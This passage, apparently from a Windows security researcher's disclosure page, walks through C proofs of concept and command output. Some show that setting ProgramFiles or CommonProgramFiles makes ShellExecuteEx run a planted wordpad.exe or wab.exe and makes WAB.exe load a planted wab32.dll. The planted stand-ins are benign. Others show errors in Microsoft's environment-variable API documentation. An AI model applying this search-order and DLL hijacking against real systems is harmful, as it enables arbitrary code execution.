 OOPS⁴: the double quotes around the path name
            of WordPad.exe are
            superfluous!
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifdef _DLL
__declspec(safebuffers)
BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
	WCHAR	szModule[MAX_PATH];
	DWORD	dwModule;
	WCHAR	szProcess[MAX_PATH];
	DWORD	dwProcess;
	HANDLE	hConsole;
	if (dwReason != DLL_PROCESS_ATTACH)
		return FALSE;
	if (!DisableThreadLibraryCalls(hModule))
		return FALSE;
	dwModule = GetModuleFileName(hModule,
	                             szModule,
	                             sizeof(szModule) / sizeof(*szModule));
	hConsole = GetConsoleWindow();
	if (hConsole != NULL)
	{
		if (dwModule < sizeof(szModule) / sizeof(*szModule))
			szModule[dwModule] = L'\n';
		hConsole = GetStdHandle(STD_ERROR_HANDLE);
		return WriteConsole(hConsole, szModule, ++dwModule, &dwModule, NULL);
	}
	if (dwModule < sizeof(szModule) / sizeof(*szModule))
		szModule[dwModule] = L'\0';
	dwProcess = GetModuleFileName((HMODULE) NULL,
	                              szProcess,
	                              sizeof(szProcess) / sizeof(*szProcess));
	if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
		szProcess[dwProcess] = L'\0';
	return IDOK == MessageBoxEx(HWND_DESKTOP,
	                            szProcess,
	                            szModule,
	                            MB_OKCANCEL,
	                            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
}
#elif 0
__declspec(noreturn)
VOID	CDECL	wWinMainCRTStartup(VOID)
{
	WCHAR	szProcess[MAX_PATH];
	DWORD	dwProcess = GetModuleFileName((HMODULE) NULL,
		                              szProcess,
		                              sizeof(szProcess) / sizeof(*szProcess));
	if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
		szProcess[dwProcess] = L'\0';
	dwProcess = MessageBoxEx(HWND_DESKTOP,
	                         GetCommandLine(),
	                         szProcess,
	                         MB_OK,
	                         MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
	ExitProcess(dwProcess != 0UL ? ERROR_SUCCESS : GetLastError());
}
#else // _DLL
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szProcess[MAX_PATH];
	DWORD	dwProcess = GetModuleFileName((HMODULE) NULL,
		                              szProcess,
		                              sizeof(szProcess) / sizeof(*szProcess));
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
		szProcess[dwProcess] = L'\n';
	if (!WriteConsole(hError, szProcess, ++dwProcess, &dwError, NULL))
		dwError = GetLastError();
	else
		if (dwError ^= dwProcess)
			dwError = ERROR_WRITE_FAULT;
	//	else
	//		dwError = ERROR_SUCCESS;
	ExitProcess(dwError);
}
#endif // _DLL Compile and link the source file blunder.c created in
            step 2. twice:
        
SET CL=/GF /W4 /Zl SET LINK=/NODEFAULTLIB CL.EXE /LD /MD blunder.c kernel32.lib user32.lib SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(11) : warning C4100: 'lpReserved' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /NODEFAULTLIB /out:blunder.dll /dll /implib:blunder.lib blunder.obj kernel32.lib user32.lib Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Create the directory Blunder\ with the subdirectories
            Outlook Express\, System\,
            Windows Mail\ and Windows NT\Accessories\
            in the root of the system drive
, then move the
            DLL
            blunder.dll built in step 3. as
            wab32.dll (or wab32res.dll) into the
            subdirectory System\, copy the console application
            blunder.exe built in step 3. as
            wab.exe into the subdirectories
            Outlook Express\ as well as Windows Mail\
            and move it as wordpad.exe into the subdirectory
            Windows NT\Accessories\:
        
MKDIR "%SystemDrive%\Blunder\Outlook Express" MKDIR "%SystemDrive%\Blunder\System" MKDIR "%SystemDrive%\Blunder\Windows Mail" MKDIR "%SystemDrive%\Blunder\Windows NT\Accessories" MOVE blunder.dll "%SystemDrive%\Blunder\System\wab32.dll" COPY blunder.exe "%SystemDrive%\Blunder\Outlook Express\wab.exe" COPY blunder.exe "%SystemDrive%\Blunder\Windows Mail\wab.exe" MOVE blunder.exe "%SystemDrive%\Blunder\Windows NT\Accessories\wordpad.exe"Note: the 4 subdirectories can be created anywhere, their location doesn’t matter – use for example
%PUBLIC%\ or %SystemRoot%\Temp\ instead of
            %SystemDrive%\Blunder\!
                1 file(s) copied.
        1 file(s) copied.
         Overwrite the text file blunder.c created
            in step 2. with the following content:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shellapi.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	SHELLEXECUTEINFO sei = {sizeof(sei),
	                        SEE_MASK_NOASYNC | SEE_MASK_NOCLOSEPROCESS | SEE_MASK_NO_CONSOLE | SEE_MASK_UNICODE,
	                        HWND_DESKTOP,
	                        (LPCWSTR) NULL,
#ifdef BLUNDER
	                        L"WAB.exe",
	                        L"/?",
	                        L".",
#else
	                        L"WordPad.exe",
	                        L"/?",
	                        L"..",
#endif
	                        SW_SHOWNORMAL,
	                        (HINSTANCE) NULL,
	                        NULL,
	                        (LPCWSTR) NULL,
	                        HKEY_CLASSES_ROOT,
	                        0UL,
	                        (HANDLE) NULL,
	                        (HANDLE) NULL};
	DWORD	dwProcess;
	DWORD	dwError = ERROR_SUCCESS;
#ifndef blunder
	if (!SetEnvironmentVariable(L"SystemRoot", (LPCWSTR) NULL))
#elif blunder == 1
	if (!SetEnvironmentVariable(L"ProgramFiles", L"C:\\Blunder"))
#else
	if (!SetEnvironmentVariable(L"CommonProgramFiles", L"C:\\Blunder")
	 || !SetEnvironmentVariable(L"CommonProgramFiles(x86)", L"C:\\Blunder"))
#endif
		dwError = GetLastError();
	else
		if (!ShellExecuteEx(&sei))
			dwError = GetLastError();
		else
		{
			if (WaitForSingleObject(sei.hProcess, INFINITE) == WAIT_FAILED)
				dwError = GetLastError();
			if (!GetExitCodeProcess(sei.hProcess, &dwProcess))
				dwError = GetLastError();
			else
				dwError = 0UL - dwProcess;
			if (!CloseHandle(sei.hProcess))
				dwError = GetLastError();
		}
	ExitProcess(dwError);
} Compile and link the source file blunder.c overwritten
            in step 5. a first time:
        
CL.EXE blunder.c kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
0
            OOPS⁵: without the process environment
            variable SystemRoot defined, the
            Windows Wordpad Application
            WordPad.exe fails,
            but exits with code 0 instead of a proper error code!
         Compile and link the source file blunder.c overwritten
            in step 5. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
 
            Execute the console application 
blunder.exe built in
            step 8. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-1Note: despite the missing environment variable
SystemRoot, the
            Windows Address Book
            respectively
            Windows Contacts
            application
            WAB.exe
            displays its Help message box and exits with code 1!
         Compile and link the source file blunder.c overwritten
            in step 5. a third time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 10. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
C:\Blunder\Windows NT\Accessories\wordpad.exe
0
            OUCH⁸: with the process environment variable
            ProgramFiles set to the parent directory of the
            subdirectory Windows NT\Accessories\ created in
            step 4., the Win32 function
            ShellExecuteEx()
            executes an arbitrary (hostile) application named
            wordpad.exe from this subdirectory instead of the true
            %ProgramFiles%\Windows NT\Accessories\wordpad.exe
            respectively
            %ProgramFiles(x86)%\Windows NT\Accessories\wordpad.exe!
         Compile and link the source file blunder.c overwritten
            in step 5. a fourth time, now with the preprocessor macros
            BLUNDER and blunder defined:
        
CL.EXE /DBLUNDER /Dblunder blunder.c kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 12. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
C:\Blunder\Windows Mail\wab.exe
0
            OUCH⁹: with the process environment variable
            ProgramFiles set to the parent directory of the
            subdirectory Outlook Express\ or
            Windows Mail\ created in step 4., the
            Win32 function
            ShellExecuteEx()
            executes an arbitrary (hostile) application named
            wab.exe from this subdirectory instead of the true
            %ProgramFiles%\Outlook Express\wab.exe
            respectively
            %ProgramFiles(x86)%\Outlook Express\wab.exe
            on Windows NT 4 to Windows Server 2003 R2
            or
            %ProgramFiles%\Windows Mail\wab.exe
            respectively
            %ProgramFiles(x86)%\Windows Mail\wab.exe
            on Windows Vista to Windows Server 2022!
         Compile and link the source file blunder.c overwritten
            in step 5. a last time, now with the preprocessor macros
            BLUNDER and blunder defined as 1 and 0:
        
CL.EXE /DBLUNDER /Dblunder=0 blunder.c kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 14. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
C:\Blunder\System\wab32.dll
-1
            OUCH⁺: with the process environment variables
            CommonProgramFiles and
            CommonProgramFiles(x86) set to the parent directory of the
            subdirectory System\ created in step 4., the
            Windows Address Book
            respectively
            Windows Contacts
            application
            WAB.exe
            loads and executes an arbitrary (hostile)
            DLL
            named wab32.dll from this subdirectory instead of the
            true %CommonProgramFiles%\System\wab32.dll respectively
            %CommonProgramFiles(x86)%\System\wab32.dll on
            Windows NT 4 to Windows Server 2022!
         Remove the directory Blunder\ created in step 4.
            with its subdirectories and files:
        
RMDIR /Q /S "%SystemDrive%\Blunder"
Note: a repetition of this exploitation in the 64-bit execution environment is left as an exercise to the reader.
usualundocumented) dependency of Windows NT on the user-controlled environment variables
CommonProgramFiles,
            CommonProgramFiles(x86), ProgramFiles and
            ProgramFiles(x86) is a well-known
            weakness, documented as
            CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'),
            CWE-73: External Control of File Name or Path,
            CWE-426: Untrusted Search Path
            and
            CWE-427: Uncontrolled Search Path Element
            in the
            CWE™
            – it allows well-known attacks like
            CAPEC-13: Subverting Environment Variable Values
            and
            CAPEC-471: Search Order Hijacking
            documented in the
            CAPEC™.
        Caveat: beware but of their loopholes!
Each process has an environment block associated with it. The environment block consists of a null-terminated block of null-terminated strings (meaning there are two null bytes at the end of the block), where each string is in the form:The documentation for the Win32 functionname=value
All strings in the environment block must be sorted alphabetically by name. The sort is case-insensitive, Unicode order, without regard to locale. Because the equal sign is a separator, it must not be used in the name of an environment variable.
SetEnvironmentStrings()
            states:
        Sets the environment strings of the calling process (both the system and the user environment variables) for the current process.OUCH⁰: the Win32 function[…]BOOL SetEnvironmentStrings( [in] LPWCH NewEnvironment );The environment variable string using the following format:
Var1 Value1 Var2 Value2 Var3 Value3 VarN ValueN
[…]
Requirement Value Minimum supported client Windows 10 Build 20348 Minimum supported server Windows 10 Build 20348 Header processenv.h Library kernel32.lib DLL kernel32.dll 
SetEnvironmentStrings() was but introduced with
            Windows Server 2003 – its
            A and W variants
            were declared in the header file winbase.h shipped with
            the corresponding
            Platform SDK!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	LPWSTR	lpBlock;
	LPWSTR	lpBlunder;
	DWORD	dwBlunder;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
#ifndef BLUNDER
	if (!SetEnvironmentStrings(L"NAME value BLUNDER blunder"))
#else
	if (!SetEnvironmentStrings(L"NAME=value\0EMPTY=\0BLUNDER=blunder\0"))
#endif
		dwError = GetLastError();
	else
	{
		lpBlock = GetEnvironmentStrings();
		if (lpBlock == NULL)
			dwError = GetLastError();
		else
		{
			for (lpBlunder = lpBlock;
			     lpBlunder[0] != L'\0';
			     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
				continue;
			if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
				dwError = GetLastError();
			else
				if (dwError ^= dwBlunder)
					dwError = ERROR_WRITE_FAULT;
			//	else
			//		dwError = ERROR_SUCCESS;
			if (!FreeEnvironmentStrings(lpBlock))
				dwError = GetLastError();
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
SetEnvironmentStrings() rejects environment
            ERROR_INVALID_PARAMETER!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code to demonstrate the true
            behaviour:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
NAME=value EMPTY= BLUNDER=blunder 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH²: contrary to its documentation cited above, the format of the environment
SetEnvironmentStrings()
            is but
            ‹name›=‹value›\0…\0\0!
         OUCH³: contrary to the highlighted statement
            of the MSDN
            article cited above, the Win32 function
            SetEnvironmentStrings() accepts an
            unsorted environment block!
        
ExpandEnvironmentStrings()
            states:
        Expands environment-variable strings and replaces them with the values defined for the current user.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[1234];
	DWORD	dwBlunder = ExpandEnvironmentStrings(L"%COMPUTERNAME%\n%PATH%\n",
		                                     szBlunder,
		                                     sizeof(szBlunder) / sizeof(*szBlunder));
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (dwBlunder == 0UL)
		dwError = GetLastError();
	else
		if (!WriteConsole(hError, szBlunder, --dwBlunder, &dwError, NULL))
			dwError = GetLastError();
		else
			if (dwError ^= dwBlunder)
				dwError = ERROR_WRITE_FAULT;
		//	else
		//		dwError = ERROR_SUCCESS;
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. to prove the highlighted statement of the documentation
            cited above wrong:
        
REG.EXE QUERY "HKEY_CURRENT_USER\Environment" /V COMPUTERNAME REG.EXE QUERY "HKEY_CURRENT_USER\Environment" /V PATH REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /V COMPUTERNAME REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /V PATH ECHO %COMPUTERNAME% ECHO %PATH% .\blunder.exe ECHO %ERRORLEVEL%
ERROR: The specified registry key or value was not found.
HKEY_CURRENT_USER\Environment
    Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
ERROR: The specified registry key or value was not found.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
    Path    REG_EXPAND_SZ    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SystemRoot%\System32\OpenSSH\
AMNESIAC
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
AMNESIAC
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
0
            OOPS: contrary to the highlighted statement of the
            documentation cited above, the Win32 function
            ExpandEnvironmentStrings()
            but replaces environment variable strings with values defined for
            the current process!
        ExpandEnvironmentStringsForUser()
            states:
        Expands the source string by using the environment block established for the specified user.[…]
[…]BOOL ExpandEnvironmentStringsForUser( [in, optional] HANDLE hToken, [in] LPCTSTR lpSrc, [out] LPTSTR lpDest, [in] DWORD dwSize );If hToken is NULL, the environment block contains system variables only.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[1234];
	DWORD	dwBlunder;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (!ExpandEnvironmentStringsForUser((HANDLE) NULL,
	                                     L"%USERNAME%\n%USERPROFILE%\n",
	                                     szBlunder,
	                                     sizeof(szBlunder) / sizeof(*szBlunder)))
		dwError = GetLastError();
	else
		if (!WriteConsole(hError, szBlunder, dwBlunder = wcslen(szBlunder), &dwError, NULL))
			dwError = GetLastError();
		else
			if (dwError ^= dwBlunder)
				dwError = ERROR_WRITE_FAULT;
		//	else
		//		dwError = ERROR_SUCCESS;
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib userenv.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib userenv.lib
 Execute the console application blunder.exe built in
            step 2. to prove the highlighted statement of the documentation
            cited above wrong:
        
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /V USERPROFILE .\blunder.exe ECHO %ERRORLEVEL%
ERROR: The specified registry key or value was not found. SYSTEM C:\Users\Default 0OOPS: contrary to the highlighted statement of the documentation cited above, the Win32 function
ExpandEnvironmentStringsForUser()
            but expands (some) user environment variables when its first
            argument is NULL!
        GetEnvironmentStrings()
            states:
        Retrieves the environment variables for the current process.[…]LPTCH GetEnvironmentStrings();Note that the ANSI version of this function, GetEnvironmentStringsA, returns OEM characters.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const	CHAR	szBlunder[] = "blunder=€©®™\0";
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	LPCSTR	lpBlunder;
	DWORD	dwError = ERROR_SUCCESS;
	if (!SetEnvironmentStrings(szBlunder))
		dwError = GetLastError();
	else
	{
		lpBlunder = GetEnvironmentStrings();
		if (lpBlunder == NULL)
			dwError = GetLastError();
		else
		{
			if (memcmp(lpBlunder, szBlunder, sizeof(szBlunder)) == 0)
				dwError = ~0UL;
			if (!FreeEnvironmentStrings(lpBlunder))
				dwError = GetLastError();
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(16) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-1OUCH: contrary to the highlighted statement of its documentation cited above, the ANSI variant of the
GetEnvironmentStrings()
            function returns of course
            ANSI
            characters, not
            OEM
            characters!
        GetEnvironmentVariable()
            specifies:
        Retrieves the contents of the specified variable from the environment block of the calling process.OOPS: there is no[…]DWORD GetEnvironmentVariable( [in, optional] LPCTSTR lpName, [out, optional] LPTSTR lpBuffer, [in] DWORD nSize );
[in] nSizeThe size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters.
[…]
If the function succeeds, the return value is the number of characters stored in the buffer pointed to by lpBuffer, not including the terminating null character.
[…]
If the function fails, the return value is zero. If the specified environment variable was not found in the environment block, GetLastError returns ERROR_ENVVAR_NOT_FOUND.
null-terminating character, but a
(string-)terminating NUL alias
            (string-)terminating null character!
 OUCH⁰: this documentation fails to specify
            that the lpBuffer parameter can be 0 alias
            NULL only if the nSize parameter is 0 too!
        
 CAVEAT: when an environment variable is empty, the
            return value 0 indicates success instead of
            failure, and the
            GetLastError()
            function should return the Win32 error
            code 0 alias
            ERROR_SUCCESS!
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[9];
	DWORD	dwError = ERROR_SUCCESS;
	if (!SetEnvironmentVariable(L"blunder", L""))
		dwError = GetLastError();
	else
	{
		SetLastError(~0UL);
		if (GetEnvironmentVariable(L"blunder",
		                           szBlunder,
		                           sizeof(szBlunder) / sizeof(*szBlunder)) == 0UL)
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-1OUCH: the Win32 function
GetEnvironmentVariable()
            fails to (re)set the Win32 error code when it reads an
            empty environment variable!
        The MSDN article Environment Variables states:
The name of an environment variable cannot include an equal sign (=).The MSDN article Changing Environment Variables states:
All strings in the environment block must be sorted alphabetically by name. The sort is case-insensitive, Unicode order, without regard to locale. Because the equal sign is a separator, it must not be used in the name of an environment variable.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LPCWSTR	szVariable[] = {L"FIRMWARE_TYPE", L"NUMBER_OF_PROCESSORS",
		                L"__APPDIR__", L"__CD__",
		                L"=ExitCode", L""};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	LPWSTR	lpBlock;
	LPWSTR	lpBlunder;
	WCHAR	szBlunder[1234];
	DWORD	dwBlunder;
	DWORD	dwVariable = 0UL;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		dwBlunder = GetEnvironmentVariable((LPCWSTR) NULL,
		                                   (LPWSTR) NULL,
		                                   0UL);
		if (dwBlunder == 0UL)
			PrintConsole(hError,
			             L"GetEnvironmentVariable(NULL, NULL, 0UL) returned error %lu\n",
			             dwError = GetLastError());
